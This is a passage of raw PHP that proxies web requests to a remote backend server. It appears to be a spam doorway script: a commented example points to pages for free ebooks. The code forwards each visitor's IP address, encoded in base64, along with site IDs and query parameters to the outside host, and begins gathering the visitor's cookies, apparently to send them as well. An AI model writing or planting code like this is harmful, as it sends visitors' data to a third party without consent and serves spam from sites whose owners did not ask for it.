preg_match('/^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar)$/', $_SERVER['REQUEST_URI'])) { header($_SERVER['SERVER_PROTOCOL'] . '/1.1 304 Not Modified'); exit; } if (!isset($_GET['_request_']) || !$_GET['_request_']) { // $_GET['_request_'] = 'free-ebook-for-ipod-304628-Goodbye-Columbus.html'; // } $query['id'] = ID; $query['sid'] = SID; $query['realvisitor'] = base64_encode($_SERVER['REMOTE_ADDR']); $query = $query + $_GET; if (isset($_GET['_request_'])) { unset($query['_request_']); $_request_url = BACKEND_ADDRESS . $_GET['_request_'] . '?' . http_build_query($query); } else { $_request_url = BACKEND_ADDRESS . '?' . http_build_query($query); } $cookies = array(); foreach($_COOKIE as $key=